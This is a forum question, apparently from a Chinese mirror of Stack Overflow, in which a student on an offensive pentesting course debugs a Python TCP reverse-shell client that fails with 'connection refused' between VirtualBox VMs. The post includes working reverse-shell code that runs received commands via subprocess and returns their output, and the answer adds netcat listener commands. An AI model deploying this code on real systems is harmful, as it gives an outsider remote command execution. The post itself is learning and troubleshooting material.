代码之家  ›  专栏  ›  技术社区  ›  Spiralio

运行TCP反向shell时出错

  •  0
  • Spiralio  · 技术社区  · 7 年前

    我对socket很陌生,目前正在参加一个关于攻击性笔试的在线课程。其中一个教训是TCP反向shell。我在不同的虚拟机上运行两个脚本(使用VirtualBox),一个是攻击者,另一个是目标。攻击者脚本运行正常,但客户端正在输出错误:

    Traceback (most recent call last):
       File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
       File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
       File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect 
          s.connect(('10.0.2.15', 8080))
       File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
    error: [Errno 10061] No connection could be made because the target machine actively refused it
    

    和我的代码:

    import socket
    import subprocess
    
    def connect():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.0.2.15', 8080))
    
        while True:
            command = s.recv(1024)
    
            if 'terminate' in command:
                s.close()
                break
            else:
    
                CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                s.send(CMD.stdout.read())
                s.send(CMD.stdout.read())
    
    def main():
        connect()
    main()
    

    我不知道你是否需要看另一个脚本来回答我的问题,如果需要,请告诉我。任何帮助都将不胜感激。

    1 回复  |  直到 7 年前
        1
  •  0
  •   Danny Flack    7 年前

    确保可以在虚拟机之间ping。如果是这样,请尝试一些简单的方法,例如netcat侦听器,并尝试连接到该侦听器。

    nc -lp 8080 在袭击者身上然后 nc 10.0.2.15 8080 关于受害者(假设您在Linux上)。

    这两个步骤将帮助您隔离问题。如果ping不起作用,很可能是您的网络配置不正确。失败的netcat更指向某种防火墙。快速浏览一下,我对您的设置一无所知,我假设您的Python脚本很好,并且您没有正确配置2个VM来进行通信。

    确保IP网络是相同的,它们位于相同的VM网络上(在Virtualbox设置中设置),并且如上所述,没有运行防火墙。